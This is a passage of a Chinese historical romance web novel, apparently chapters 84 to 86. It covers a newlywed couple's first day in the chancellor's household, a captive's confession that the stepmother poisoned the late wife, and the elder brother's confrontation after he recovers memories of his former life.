他对一旁伺候的芳草道:“你去准备些莲子羹来,给夫人垫垫肚子,顺便叫洪声过来。” 洪声一脸兴奋地跑了进来。 贺玄度看他春风得意,笑道:“真是奇了,公子我大婚,你怎么看着比我还要高兴。” 洪声止住了笑,问他有何吩咐。 贺玄度:“待会儿我们要先去祖母那,你去前院看着,留意一下那边的动静。” 洪声明白他的意思,笑道:“公子放心,前院那里没工夫为难咱们。” 贺玄度俊眉一挑,“哦,怎么说?” 洪声凑上前去,“今日一大早,前院出了大事,大公子魔怔了。” 贺玄度正坐在轮椅上,盯着镜子中的柳舜华,怔了一下,转过身去,“昨日不是还好好的,怎么回事?” 昨夜父亲突然离席,周松去打听了一下,说是贺玄晖突然晕倒。但父亲中途又返回席间,可见他并无大碍。 洪声道:“听人说,大公子一大早爬起来,赤着脚直奔已经半干涸的池塘,在那里是又抓又挠,嘴里一直嚷嚷着,非要说什么,找蜻蜓,你说大冬天找什么蜻蜓,可不就是魔怔了。” 贺玄度手敲着轮椅边缘,贺玄晖常以君子自居,总是一副温润高洁的模样,他实在无法想象,他在泥塘里撒泼的模样。 柳舜华已经穿戴好,懒得听贺玄晖之事,只催促道:“咱们还是先去拜见祖母吧。” 贺玄度笑了一下,牵了柳舜华的手,“好,听夫人的。” 洪声推开房门,一阵冷风裹着碎雪吹来,柳舜华忙用衣袖挡住风雪。 衣袖落下,她才第一次看清了贺玄度的院子。 方正的院落与回廊相连,廊下挂着一排大红灯笼,绿玉正在笼内悠然地晒着太阳,东边靠墙搭了个窝,一只大白鹅趴在门口。回廊连着的后院,一阵鸡鸣伴着犬吠,紧接着便是重物落地的声响。 绿玉瞧见柳舜华出来,跳着叫道:“夫人万安,夫人万安。” 众人都跟着笑了起来。 柳舜华环顾这个熟悉又有些陌生的院子,低头一笑,这样热热闹闹的,也挺好。 老夫人打从心底里喜欢柳舜华,最疼爱的孙子娶了它,更是欢喜。 见她过来请安,拉着她又送了雕着石榴的玉枕、彩绘漆奁、年轻时常戴的头饰等物。 贺玄度转着轮椅过去,趴在老夫人腿上,使劲蹭了蹭,“还是祖母知道疼孙儿,将这好物都拿了出来。” 老夫人拍着他笑道:“谁管你这个猴儿,我是疼我孙媳妇。” 贺玄度不依,拉着老夫人的手,委屈道:“祖母有了孙媳妇,就不将孙子放在心上了。我不管,祖母心里只能我排最前面。” 柳舜华第一次见贺玄度在长辈面前撒娇,真如老夫人所言,像个撒泼的猴儿,不由得笑了起来。 老夫人指着他,向柳舜华道:“蓁蓁啊,他这猴儿最是无赖,以后若是敢欺负你,只管到我这里告状。” 柳舜华忙道:“祖母放心,玄度他好着呢。” 贺玄度嘴角一笑,又拉着老夫人告状,“祖母你听,都成婚了,她还只管喊我的名字,不叫夫君。” 柳舜华面露尴尬,悄悄伸手,在他背上狠狠掐了一下,疼得他差点从轮椅上跳起来。 老夫人看在眼里,笑得眼泪都快出来,“好了,看着你们小两口亲亲热热的,我也就放心了。” 临别之际,老夫人看柳舜华身边只有芳草伺候着,便道:“宁儿身边侍女不多,只有一个银纤还算可靠。你这只带了一个丫头,怕是不够,我屋内有几个很是贴心,就跟着你吧,省得别人再给你添些不三不四的。” 老夫人这话可谓直白,明显是知晓相府夫人惯用的招数。 上辈子,方入府的时候,程氏的确是想往她这边塞人。找了几个年轻貌美的女子,说是帮着挽回贺玄晖的心。 她年轻气盛,当场拒绝,程氏直指她非但笼络不住自己夫君,反而嫉妒成性,罚她跪了一整日。 正想着,老夫人已招呼屋内几个丫头过来。 柳舜华一眼瞧见妙灵。 上辈子,自跟了她,妙灵吃尽苦头,一张娇嫩的小脸,像院子里的海棠,随着冬日来临,渐渐枯萎。这辈子,她定要好好补偿妙灵,不再让她受任何委屈。 妙灵见柳舜华看着她,十分欢喜地冲她一笑。 柳舜华毫不迟疑,选了妙灵。 老夫人笑道:“合该你们有缘。妙灵,打从今日起,你要好好跟着蓁蓁。” 妙灵欢喜应是。 两人回到院子,贺玄度找洪声过来问话。 洪声道:“相爷吓了一大跳,请了太医来看,大公子已经好了。” 贺玄度:“这么快好了?” 洪声摸着头,“魔怔嘛,来得快去得也快。不过,眼下他们都在大公子跟前忙着,怕是不会去正厅等着奉茶。” 贺玄度点头,“知道了,你先下去吧。” 柳舜华深知,贺玄晖是相府夫人的心头肉,他这一病,她怕是要寸步不离,根本没心思等她的茶。 果然,不一会,刘嬷嬷便亲自过来传话,说是夫人身体不适,今日新妇便不必去奉茶了。 柳舜华看向贺玄度,“要去看看吗?” 贺玄度问:“你想去吗?” 柳舜华摇头,“不想。” 贺玄度笑道:“不想,那便不去。” 柳舜华想了想,“其实,我想去看看母亲。” 贺玄度有些怔愣,方才她说不想去,怎么如今又要去。 柳舜华柔柔一笑,“我说的,是咱们的母亲啊。” 她说的,是娘亲? 贺玄度眼眶泛红,头转到一边,落下泪来。 这么些年,每逢佳节,只有他孤零零地陪着母亲。原来这世上,还有人记得他娘亲,记得他也曾有个人疼。 祠堂内,檀香缭绕,贺家祖宗的牌位肃穆排列。 贺玄度坐在轮椅上,看着母亲的牌位。 半年未见,那牌位上的金漆已有些剥落,晨光中尤为黯淡。 他冷眼瞧着这座巍峨的祠堂,墨漆金匾,泛着幽冷的光。什么光宗耀祖的圣地,不过是个冰冷的牢笼罢了。娘亲生前在这相府里苦苦挣扎,被那些明枪暗箭折磨得形销骨立。死后还要被摆放在这里,成为他们彰显仁德的工具。 什么香火供奉,他根本不在乎。 柳舜华走过去,用手仔细擦了牌位上落的灰尘,无比虔诚。 擦干净牌位,芳草端着茶盘过来,柳舜华捧着茶杯盈盈跪下。 “母亲,”她对着牌位柔声道,“儿媳来给您敬茶了。” 贺玄度看着她单薄但挺直的脊背,喉结剧烈滚动。 娘亲,你看,这世间,多了一个人疼我。 祭拜完母亲,柳舜华推着贺玄度回去。 方回院子,周松便急匆匆赶来,见柳舜华在,不断咳嗽着暗示贺玄度。 柳舜华见状,便道:“我先去煮茶,你们聊。” 贺玄度拉住她,仰头道:“蓁蓁,我不是有意要瞒着你什么,等事情结束,回到凉州,我自会同你解释。” 柳舜华一笑,“我明白,有什么事,你放手去做便好。” 待柳舜华走远,贺玄度问:“什么事这么急,非要在这时候说?” 周松:“人已经从上林苑转移出来了。” 贺玄度淡声道:“可问出了什么?” “我们按照你的计划,假装是相府的人。”周松停了一下,看着贺玄度,“那人说,他知道相府一个大秘密。” 贺玄度抬头,“他都知道些什么?” 周松凝眉,沉声道:“他说,是一个足以保命的秘密,必须要见丞相一面。” 风声呜咽,头顶的海棠花树上,雪落簌簌。 “带他来见我。”他道,“我亲自去问。” 第84章 第84章柳舜华,你不应该嫁给他…… 石阶蜿蜒而下,微弱的灯光风中摇晃,贺玄度一步步走下去。 周松提醒道:“公子,此处阴暗湿滑,当心脚下。” 贺玄度淡声道:“无妨。” 周松还是上前扶住他,“出门前,夫人千叮万嘱,您要是摔着,我可担当不起。” 贺玄度甩开他,“你就是矫情,上次去宫内看,太医说,我年后一准能恢复。” 周松撇嘴,明明是夫人的吩咐,怎么变成他矫情了。 “周太医是范神医的师弟,他是说你能很快恢复没错。可他也说了,休养为上,等问完话回去,你还是在轮椅上多坐几天吧。” 进密室前,两人戴上备好的面具,推开了门。 密室内,黑衣人手脚套着镣铐,被绑在刑具上,听到响动,猛地睁开眼。 “丞相大人没来?”他开口道。 周松拉过一旁的椅子,贺玄度顺势坐下,漫不经心地整理着衣摆。 “丞相吩咐的那些脏事,由我全权负责,有什么条件,你可以找我提。” 黑衣人不屑一笑,“我要找相爷谈,你做得了主?” 贺玄度淡声道:“你出身千机阁,是彭城王的人,怎么可能知道相府的秘密?你是觉得,我们很好骗吗?” 黑衣人咳了几声,吐出一口血来,“我都是阶下囚了,能骗你们什么。性命攸关,我不敢儿戏。我这个秘密,虽不能动摇丞相在朝中的地位,却足以让相府颜面扫地。” “颜面扫地?相府赫赫威名,岂是三言两语便能轻易诋毁的。你若说了,我留你个全尸,若是不说,”贺玄度冷哼一声,“那便带着你的秘密,一起埋在土里吧。” 黑衣人不慌不忙,“你们只需告知相爷,这个秘密,事关相府夫人,他自会亲自来的。” 周松一惊,下意识看向贺玄度。 贺玄度攥紧双手,语气淡然,“相府夫人?相府有两位夫人,你说的是哪个?” 黑衣人眼一眯,“无可奉告。” 贺玄度缓缓起身,走到那人跟前,伸手按住他肩上的伤口,手指直直穿了进去。 一声惨叫回响在密室内,周松啧了一声,扭过头去。 “你不过是想用这个秘密,换一条生路。说出来,我放了你。” 贺玄度拿起桌上的帕子,将手上的血擦干,扔到一边,“不说,杀你。” 黑衣人闷哼一声,“你到底是什么人?” “和你一样,是个为以后打算的人。你守着这个秘密,瞒着彭城王,不就是怕他斗不过丞相,有朝一日被清算,留个筹码在手保命吗。” 贺玄度坐回椅子上,“鸟尽弓藏,我也一样。” 黑衣人还在做最后的挣扎,“我凭什么信你?” “你可以不信,但你没有选择。”贺玄度伸手指着四周,“这里,都是我的人。” 黑衣人咬紧牙关,强忍着剧痛,分析目前局势。他为鱼肉,别人为刀俎。若这人打定主意不通禀,他根本没有办法。 他想了想,抬头望着贺玄度,“你真的会放我走?” 贺玄度手指揉着额头,“那要看,你这秘密值不值?” 黑衣人叹了一口气,“好,我说。” 贺玄度向周松偏头道:“去,给他一杯水润润喉咙。” 黑衣人将水一饮而尽,“这个秘密,事关相府两位夫人。” 贺玄度猛地坐正,只听那人缓缓道:“十年前,先皇继位不久,因年少未亲政,政局不稳。彭城王与燕王虎视眈眈,对皇位仍旧抱有幻想。我受彭城王之命,盯着相府一举一动,看他都与哪些人来往密切,试图找到扳倒他的把柄。” “可贺丞相做事极其谨慎,我盯了两个多月,都未找到任何可疑之处。直到一日,我发现相府后院有人鬼鬼祟祟地进行交易。有人出手,给了稳婆一大批银子。” 贺玄度攥得骨节泛白,竭力稳住颤抖的身体,用一种极淡的声音问:“给稳婆银子,做什么?” 黑衣人继续道:“我在相府盯了几个月,人都认得大半,那个给银子的嬷嬷,正是如今相府夫人程氏的人。” “她给稳婆银子做什么?”贺玄度声音冰冷。 黑衣人嗤笑一声,“还能做什么,自然是为了谋财害命。” 贺玄度浑身止不住泛冷,“害谁的命?” 黑衣人缓缓道:“相府先夫人,万氏。” 周松悚然一惊,“你说,是程氏害了先夫人,你可看清了?” 黑衣人眼底一片冰凉,“那嬷嬷给了稳婆银子后,我深觉此事不简单,便跟着她回了医馆。我躲在暗处,一直到医馆关张,瞧见那婆子慌慌张张地收拾了东西,将一些药物埋在后院的树下。” “等她睡下,我将那些药挖了出来,找了熟悉的医工去看。医工告诉我,那药对平常人无害,甚至是大补之药,但其中一味,产后忌服。若是误服,很可能会气血两亏,回天乏术。” “我留了个心眼,回到相府去打探消息。果然,就在那夜,相府夫人死了。” 贺玄度踉跄起身,几乎要站不稳,周松忙上前去搀扶。 他缓缓转身,朝着门外走去。 黑衣人在后面喊叫:“我知道的都说了,你说好放我出的。” 周松看了贺玄度一眼,冷声道:“你放心,待我们回去核查后,若是属实,自会放了你。” 走出密室,贺玄度胃里骤然翻涌,他弯下腰,呕出声吐出几口酸水。 毒入肺腑,母亲当时躺在榻上,该有多疼啊! 一颗心像是被人生生剖开,疼得他几乎站不住。 “周松,你说,我是不是该死。”他无力扶着墙壁,手几乎掐进肉里,“当年,我亲眼看着母亲死在我面前,怎么就没有发觉异常呢?” 周松扶着他,心疼道:“公子,你当时才六岁,别这么为难自己。” 贺玄度缓缓起身,“程氏,必须死。” 周松拉着他,劝道:“公子,我知道,我知道你此刻很难受,但仅凭那人几句话,根本奈何不了程氏。这样,你给我一点时间,我去将当年那个稳婆找出来,咱们从长计议。” 见他丝毫不为所动,周松急了,生怕他做出过激的举动,忙道:“公子,如今你不是一个人了,你还有少夫人啊。你就算不替你自己考虑,总要为她考虑吧。” “蓁蓁。”贺玄度喃喃叫着她的名字,望着前方刺眼的日光,只觉得无比晃眼。 …… 贺玄度不在,柳舜华有些无聊,便叫来妙灵,芳草,一起围坐在炉火前饮茶。 妙灵觉得不合适,推辞一番。 芳草劝道:“我们小姐……不,是咱们少夫人,私下没那么多规矩,你就放心坐下吧。” 北风卷着 细雪,一阵紧似一阵地扑向雕花窗棂。炭火烧着,把寒意隔在了外头。 妙灵笑道:“少夫人此前帮了我,原以为没机会,再向您当面致谢。没想您嫁了进来,我还能贴身伺候。” 柳舜华柔声道:“如老夫人所言,这便是咱们的缘分。” 妙灵点头,看着柳舜华,“我第一眼看到少夫人,就总觉得您眼熟,好像此前认识一样。如今能伺候您,心里不知有多欢喜。” 芳草跟着笑道:“咱们少夫人心善,相处久了,你就知道了。” 几人喝了半日的茶,贺玄度依旧未回来。 柳舜华心里牵挂着他,渐渐有些心不在焉。 妙灵正同芳草讲贺玄度小时候的事,说他自幼就不喜欢同那些堂兄弟们一起玩儿,只一心养些猫儿狗儿的东西,如今后院不知道有多热闹。 说着说着,不知怎么就提到了先夫人。 柳舜华听到,好奇道:“先夫人什么样子?” 妙灵下意识朝屋外望去,想起这是在贺玄度院内,才道:“二公子的样貌,有七八分随了先夫人。” 柳舜华叹道:“天妒红颜啊,我也是无福,没能见上一面。” “是啊,先夫人很好的,对我们这些下人都和颜悦色,完全不像……”妙灵意识到不对,忙改口道:“可惜啊,不然二公子有个兄弟扶持着,多好。” 柳舜华一愕,“你说,有个兄弟扶持着,是什么意思?” 妙灵对柳舜华知无不尽,也怕她不知忌讳,低声道:“少夫人有所不知,先夫人此前曾诞下过一个小公子,不过生下来便夭折了。” 前世,碍于两人关系,柳舜华不便过多打听贺玄度之事,她还是头一回听说,贺玄度曾有个弟弟。 “夭折了,怎么回事?” “先夫人此前身子不好,主动要求搬到了西竹院静养。这期间诞下了小公子,小公子生来便弱,没有熬过去。” 妙灵叹道:“先夫人生产后,本就元气大伤,又兼丧子之痛,到底没能挺过去。” 柳舜华皱眉,总觉得哪里怪怪的,正要细问,便听到叩门声。 芳草起身去开门,看到来人,略一吃惊,回屋道:“夫人,是大公子。” 贺玄晖,他不是病了,怎么这个时候来寻贺玄度? 柳舜华未及多想,“告诉他,玄度不在,出去喝酒去了,让他明日再来。” 芳草有些尴尬道:“不是,夫人,他说是来找你的。” 柳舜华眉头一扬:“找我?” 芳草挠着头,“大公子说了,他有一句要紧的话,要同你讲。” 柳舜华起身,披了狐裘,推门而出。 风雪霎时灌满衣袖,白色狐裘在风中翻飞,衬得那张脸愈发清丽。细雪落在她鸦羽般的睫毛上,整个人清冷又疏离。 阶前积雪已深,她绣着并蒂莲的鞋尖刚触到雪面,便陷了进去,红艳艳的,像落在雪中的红梅。 贺玄晖站在阶下,穿着一袭薄袍,肩头落了厚厚一层雪,仰头看着柳舜华。 那个赖在他书房不肯走,却靠在墙边呼呼大睡的姑娘; 那个在桃林里踮脚折花,只为摘下最好的一枝送他的姑娘; 那个曾熬夜为他刻竹蜻蜓,手指被划出血痕还在灯下傻笑的姑娘; 她一直站在他的面前,他却没有认出来。 贺玄晖大步跨过去,像是跨过千山万水,生生劈开两世的光阴,逼至她眼前。 他声音沙哑得不成样子,眼底猩红,“柳舜华,你怎么能嫁给他呢?你不应该嫁给他的!” “兄长慎言。” 贺玄度的声音混着风雪传来,幽冷中带着克制,“蓁蓁,她是我的妻子。” 第85章 第85章贺玄晖,你要不要点脸…… 贺玄晖回头,冷冷地看着轮椅上的贺玄度。 眼神中是贺玄度从未见过的失控,愤恨不满,还有隐隐的示威。 贺玄度死死盯着阶上的兄长,唇角噙着一抹冷笑。 这些年,他凭借着相府长子的身份,精心营造出一副温润如玉的完美模样,享尽赞誉。如今,是要撕下伪装了? 他不管他中了什么魔怔,今日若他敢放肆,他不介意陪着他疯。 风卷着庭下积雪,在两人之间形成一道无形的屏障。 一道纤细的身影从贺玄晖身边掠过,自台阶上飞奔而下。 柳舜华一把攥住贺玄度冰凉的手,“你回来了。” 贺玄度手被她握住,全身冰冷的血液又重新暖了起来。 他朝她一笑,“蓁蓁,久等了。屋外冷,咱们这就进屋。” 贺玄晖跌跌撞撞下来,拽住柳舜华的衣摆,眼神中满是乞求,“柳舜华,跟我走,你跟我走,我会同你解释的。” 贺玄度脸色冰冷,一把甩开他的手,将柳舜华拉至身后。 “贺玄晖,你知不知道你在做什么?” 贺玄晖却像未听到一样,眼神从始至终未离开柳舜华,“以往都是我的不对,我错了,我错了。柳舜华,你原谅我,咱们重新开始好不好?” 柳舜华浑身一怔,贺玄晖,他在说什么? 贺玄度气得手抖,若非他要瞒着双腿已好的事实,他真想站起来抽他一巴掌。 他冷笑,“贺玄晖,你要不要点脸?疯到这里来,当真以我会容你。” “贺玄度,你当真以为她喜欢你吗?”他冷冷转向贺玄度,眼中满是嘲讽,“你不过就是个乘人之危的卑鄙小人罢了。” “住口。”柳舜华挡在贺玄度面前,“贺玄晖,你以为你是谁?一个外人,也敢来挑拨我们夫妻感情。” 贺玄晖像是被雷劈了一样,怔在原地许久,指着贺玄度,满眼疑惑,“舜华,你为何要帮他,他才是外人啊。” 贺玄度不可置信地望着贺玄晖,他愈发相信,他是真的魔怔了。 柳舜华皱眉,“贺玄晖,我不管你真疯还是假疯,都请你离我们远一点。” 贺玄晖不死心,上前去拉柳舜华,“舜华,你睁开眼,好好看看我。是我啊,你怎么能忘了我呢?” 贺玄度忍无可忍,运掌一挥,轻松将贺玄晖推出半丈远。 “洪声,派人去前厅,让人把他带走。” 贺玄晖跌倒在地,身上沾满碎雪,简单束着的头发倾散下来,踉踉跄跄爬起,眼眶通红。 “舜华,不要跟他走,你会后悔的。” 柳舜华懒得与他纠缠,推着贺玄度,“他已经疯了,不必理会。” “彰儿,你怎么样啊?”程氏带了十余人,慌慌张张走了进来。 贺玄度闻言,转头死死盯住程氏,指甲猛地掐进掌心,胸腔里翻涌着恨意,拼命压制住满身的戾气。 柳舜华觉察到不对,垂头柔声道:“你怎么了?” 贺玄度摇头,“无事,不要担心。” 程氏见贺玄晖如此狼狈,心疼地替他披上大氅,怒道:“贺玄度,你竟敢趁着我儿虚弱推他,是何居心?” 贺玄度冷声道:“是他自己跑来这里疯,你应该问他要做什么。” 程氏气急败坏,便将矛头指向一旁的柳舜华,指桑骂槐道:“是你,一定是你克我儿。你就是个丧门星,一进府便鸡飞狗跳。” 贺玄度攥紧手掌,冷笑一声,“程夫人,你好大的威风,竟敢骂我夫人?” 程氏怔愣地看着贺玄度,往日他们虽相互看不惯,至少面子上还过得去,维持着表面的平和,何曾如此剑拔弩张。 他那眼神,好像恨不得将她千刀万剐。 她不知是惧怕还是气愤,声音颤抖得厉害,“你……你反了,我是你嫡母。” “嫡母?”贺玄度盯着她,毫不客气道:“你也配?一个下九流货色,靠着一些见不得光的手段上位,还真当自己是高门贵胄了。” 程氏的脸“唰”地一下变得惨白,紧接着又涨得通红,仿佛被人重重地扇了一记耳光。 他竟敢当着这么多下人的面,出言不逊,让她颜面尽失。 “你……竖子!竟敢如此羞辱我,我是这相府的主母!”她声音尖锐,手指着他,身体因愤怒不停摇晃。 刘嬷嬷见自家主子受辱,忙冲着下人道:“你们都是死人吗,快去请相爷过来,有人要造反了。” 柳舜华一看,她这是要拿贺丞相来压贺玄度,生怕贺玄度吃亏,当即朝妙灵使了个眼色。 满院子都是程氏的人,妙灵只得从回廊绕到后院出去,谁知方走到廊下便被刘嬷嬷看到。 她心知妙灵是想去请老夫人,上前便想去抓她。 柳舜华抢先一步,挡在她面前,厉声道:“刘嬷嬷,这里是二公子的住处,你一个下人,未经允许随意走动,谁给你的胆子?” 刘嬷嬷一惊,传闻这新妇是个贪慕虚荣的主,没 想到竟如此泼辣。 可她到底是在府内多年的人,仗着有相府夫人撑腰,不紧不慢道:“少夫人,方才有个侍女趁乱慌慌张张地往外跑,想是手脚不干净,老奴这就给您抓来。” 说罢,带着几人上前便要去抓妙灵。 柳舜华大步迈过去,反手扣住刘嬷嬷腕子,用力甩到一边,“放肆,我院内的侍女,自有我管教,何时轮得到你管。” “好啊,好啊,一个个的都欺负到我头上来了。”程氏气得手抖,“柳舜华,你先是克得大公子生了魔怔,又引得二公子与我争执,你真是好大的本事啊。” 柳舜华抬眸看着她,一个市井出身,手段肮脏的妇人而已,怎么上辈子就被她压得死死的呢? “母亲。”站在一旁的贺玄晖双目失神,喃喃道:“您为什么要这么对她,您为什么要这么折磨她?” 程氏懵了,“彰儿,你说什么呢?” 贺玄晖摸着头,只觉得要炸开,不停地重复道:“她是我明媒正娶的妻子,我是真的喜欢她。可为什么,为什么你们所有人都要逼我?” 一瞬间,风雪仿佛静止,柳舜华再也听不到其他声音。 满脑子只有那句:她是我明媒正娶的妻子。 贺玄晖,他这是什么意思? 程氏吓坏了,顾不得与贺玄度争执,忙让人搀扶着他,“快,送大公子回房。” 贺玄晖头脑昏沉,任由人扶着,无力抬起头,朝着柳舜华的方向伸出手。 正厅内,丞相端坐在上方,一脸冷肃。老夫人坐在丞相身侧,看不出什么表情。 贺丞相揉着额头,指着贺玄度,“逆子,为何要当众给你母亲难堪?” 老夫人眉头一皱,“今日是宁儿大婚第一日,当着孙媳的面,你能不能好好说话?” 贺留善回来,见程氏泪光闪闪,一双眼哭得肿起,登时火冒三丈,只一心想着教训这个不孝子,哪里还想得了这么多。 他看了看下面坐着的柳舜华,终是给贺玄度留了面子,“你说,究竟是怎么回事?” 贺玄度不慌不忙道:“不知何故,方才兄长跑到我院内,大嚷大叫起来。程夫人追了过来,不分青红皂白,指着我夫人便骂了起来。我不过同她理论几句,怎么就给她难堪了?” 程氏分辨道:“我那是教新妇相府的规矩,何曾骂她?她新入府,我作为母亲,难道还教不得了?” 老夫人眯眼冷笑,腕间翡翠镯子磕在檀木案上“咔”地一声响。 “教规矩?”她枯瘦的手指按下茶盏,淡声道:“照你这么说,你新入府时,我没教你规矩,倒是我疏忽了。” 柳舜华不由暗暗叫好,到底是老夫人,一出手,直中要害。 程氏脸色难看,不敢忤逆老夫人,忙泪眼婆娑地看向贺丞相。 贺留善面上堆笑,“母亲,您言重了。惜柔她对小辈一向和善,并无恶意。想是有了什么误会。” 程氏起身,柔柔道:“母亲明鉴,今日一早彰儿他,突然犯了癔症,我心急如焚,也跟着病了。我拖着病体去照看彰儿,谁知一眨眼的功夫,彰儿便不见了。后来才得知,他去了后院。” “您说这好端端的,他为何会去后院?我忧心彰儿,便跟着去了,谁知……”她瞥了一眼贺玄度,接着道:“谁知就看到二公子一把将彰儿推到在地。我不过理论几句,却被他当着那么多下人的面,好一顿骂。” 她擦拭着泪,语带感伤,“相爷,母亲,你们说,要我以后如何做人啊?” 贺留善心疼得直皱眉,“母亲,他今日先是对自家兄长动手,又如此忤逆自己的嫡母,若是不罚,实在不足以正家风。” 老夫人冷声道:“你准备怎么罚?” 贺留善看着轮椅上一直沉默的贺玄度,瞧着母亲的脸色,缓缓道:“罢了,就罚他去祠堂抄《孝经》吧!” 老夫人默然,这个惩罚确实不算重。 程氏觉得罚得轻,不住向贺留善暗示,奈何他只看着自己的母亲。 贺玄度静静地看着父亲,三言两语间,便定了他的错,像以往无数次一样。 若是平时,惩罚重他就撒泼打滚,惩罚轻他便蒙混过关。 可是这次,他不想程氏得逞。 眼中聚满戾气,贺玄度双手攥紧,程氏,不如今日就…… “且慢!”柳舜华突然起身,对着贺留善道:“父亲,您只听了母亲的说辞,也该听听我们的吧。” 贺玄度眼中翻涌的戾气慢慢消散,露出原本清明的眸光。抬头静静望去,柳舜华立于厅前,姿态端庄而从容。 贺留善一愣,“你想说什么?” 柳舜华盈盈一笑,“父亲,母亲看岔了,夫君并未曾对兄长动手,是他自己不慎跌倒的。” 程氏双眼圆睁,“柳舜华,你说什么呢,我分明看到就是他将彰儿推倒的。” 柳舜华:“母亲,想是您照料兄长劳累,眼花了。我就站在那,并未瞧见夫君动手。” 然后,认真瞧着贺玄度,问道:“夫君,你可曾推过兄长?” 贺玄度反应过来,摇头,应得无比肯定,“未曾。” 程氏气极,指着柳舜华道:“你竟敢在这颠倒是非,满院子的人都看到了,你还敢狡辩。” 柳舜华一笑,“那不妨将方才院子里的随从都叫来,仔细一问便知。” 片刻后,方才院中众人悉数问遍,程氏带去的人都说贺玄度推了大公子,而贺玄度院中人则一口咬定,是大公子体弱,自己摔倒的。 程氏激动得站了起来,“你撒谎,是你指使他们的。” 柳舜华从容起身,“母亲,您看花眼随口一句,这些下人哪敢不从。您仔细看看夫君,他坐在轮椅上,怎么可能推得了兄长?只是一个误会而已,何必如此兴师动众的让人看笑话呢。您太累了,还是回去好好歇歇吧。” 她这一番话,看似轻飘飘几句,隐隐几重暗示,先是暗指程氏指鹿为马,指使下人诬陷贺玄度;又刻意提到贺玄度断腿之事,他们谁不知他这腿是为了贺玄晖而断;最后还不忘拿丞相最看重的,相府的颜面说事。 贺留善由不得多看了她一眼,不愧是柳桓安的妹妹。 老夫人却是满意一笑,“如今双方各执一词,一时难断。说到底,都是由彰儿引起的。不如,就等彰儿醒来后再说吧。” 柳舜华垂头一笑,方才陈氏自己也说,贺玄晖癔症了,一个疯疯癫癫的人说的话,谁会信? 程氏何曾受过这样的窝囊气,自是不服,还想说什么,被丞相一个眼神压了回去。 众人散去,程氏看着柳舜华推着贺玄度离开,紧咬下唇,脸上一阵白一阵红。 她原以为帮贺玄度娶了个草包,谁知给他添了这么强的助力,竟是搬起石头砸了自己的脚。 贺玄度出了一口恶气,心绪平稳许多。 雪覆长廊,柳舜华推着轮椅缓缓前行。 轮椅碾过积雪,留下两道细痕。 “冷么?”她俯身问,呼出的白雾掠过他耳际。 发间落雪簌簌而下,沾在他泛白的指节上,像几点将熄未熄的火星。 贺玄度忽然抬手,拂去她肩上落雪,“蓁蓁,我何德何能,能娶到你。” “因为,你长得好看啊。”柳舜华伸手捂住他冻僵的脸,笑道:“贺玄度是整个长安,最美的美男子。” 贺玄度罕见地红了脸,垂头一笑,“风大 ,蓁蓁,咱们回家吧。” 第86章 第86章疼就记住,以后,有事别…… 晨光未露,天色尚青。 一夜雪落,庭中空寂,唯余雪色,冷而净。 贺玄晖睁开眼,四周白茫茫一片,没有冲天的火光,更不见一袭红衣飘扬。 他揉着头,昨夜做了个噩梦。 他梦到,他要娶刘妉柔为妻,就在大婚前夜,柳舜华一气之下跳入火海。 丁宝在贺玄晖屋内守了一夜,见他醒来,兴奋不已。 “大公子,您终于醒了?” 贺玄晖穿上衣袍,问道:“少夫人是不是还在气?” 丁宝莫名道:“哪个少夫人,生什么生气?” “容暄弄坏她的马车,她气冲冲找来,怎么可能这么快消气。我不是跟你说过,要让你多加留意,怎么全当耳旁风。” 贺玄晖想了想,又道:“西竹院寒凉,眼下又是冬日,你去送一些上好的木炭给到妙灵。” 丁宝吓坏了,公子这怎么又开始胡言乱语了。 “公子,您尚未娶妻,哪来的少夫人?” 贺玄晖眼神空洞,一脸茫然。 他明明娶了柳舜华进门,她前两日还在同他争吵,一气之下搬到西竹院。 这怎么可能?到底是哪里出了问题? 他头疼欲裂,推门便往西竹院跑去。 寒风似刀,切过破败的屋檐,刮下一层薄雪,簌簌落在青石阶上。 阶缝里钻出的几丛枯草,茎叶蜷曲,早已冻得发脆,风一吹便折断在雪里。 院墙坍了小半截,露出斑驳的砖石。正屋的窗纸已破,残存的碎片在风中飘荡,发出沙沙的呜咽。檐下悬着一盏褪色的旧灯笼,骨架歪斜,糊纸泛黄,被风撕开一道裂口,摇摇欲坠。 “彰儿,你怎么跑到这来了?”程氏急匆匆跑来。 贺玄晖看着程氏,双目通红,“母亲,柳舜华她人呢,她是不是……是不是已经死了?” 程氏一听到柳舜华,咬牙切齿,“若是死了便好了!她同贺宁那小崽子狼狈为奸,一对贼夫妻。” 刹那间,纷乱的记忆如潮水翻涌,无数碎片在脑海中碰撞、拼合。 待思绪浪潮平息,两幅画面如刀刻般清晰: 冲天火光中,柳舜华裙摆飞扬,她满脸决绝,义无反顾地奔向火海。 相府门前,红绸高悬,火盆里的炭火噼啪作响,贺玄度牵着她的手稳稳跨过。 两团火,隔着生死悲喜,将他与柳舜华生生分开。 柳舜华忘了他,她嫁给了别人! 看着残破的院落,他肩膀剧烈抖动,突然狂笑起来,笑声越来越响,越来越尖锐,仿佛要将他两世的悲凉都笑尽。 他都已经放弃了,为什么偏偏要让他记起?为什么偏偏是这个时候? 他如何能甘心! 程氏上前拉住他的手,颤抖道:“儿啊,你怎么了?” 贺玄晖闭上眼,缓缓拉开她的手,“母亲,我累了,要回去歇息。” …… 丹曦破雾,金灿灿的日光透过雕花窗棂洒进屋内,青砖地面上投下斑驳的光影。 贺玄度昨夜睡得不踏实,这会还没醒。 柳舜华习惯早起,轻手轻脚下了床,正踮着脚在衣柜前挑选衣物。乌黑的长发松松挽着,几缕碎发垂在耳畔,随风轻轻晃动。 换好衣裙,坐在铜镜前仔细梳着头发,一头青丝如瀑,在晨光中泛着柔润的光泽。 忽然,一双骨节分明的大手从背后环来,温热掌心覆在她的腰间。 “我帮你梳。”贺玄度微哑的嗓音落在耳畔。 他取过梳子,将她散落的发丝尽数拢在掌心,像捧着稀世珍宝。 柳舜华透过铜镜望去,见他只随意披了件素白中衣,衣袖滑落,手臂上那道烧伤的疤痕赫然露了出来。 贺玄度注意到她的目光,轻笑道:“是不是很丑,看来我大安第一美男子的称号要被你收回了?” 柳舜华笑了一下,回过身去摸他的伤疤,指腹划过他的肌肤,轻得像柳梢扫过湖面,仿佛要将那陈年的伤痕熨平。 想到昨日贺玄度见到程氏的态度,她有些不放心,“此前一直没来得及问,程氏她真的对你起了杀心?” 贺玄度笑道:“假的,我随便寻个借口骗皇上的。我好歹是相府公子,有祖母护着,她没有那么大胆子,你就放心好了。” “程氏跋扈,实在可恨,但她毕竟是相府夫人,你且忍耐些,等过了年,咱们就回凉州,再也不管这些纷纷扰扰。” 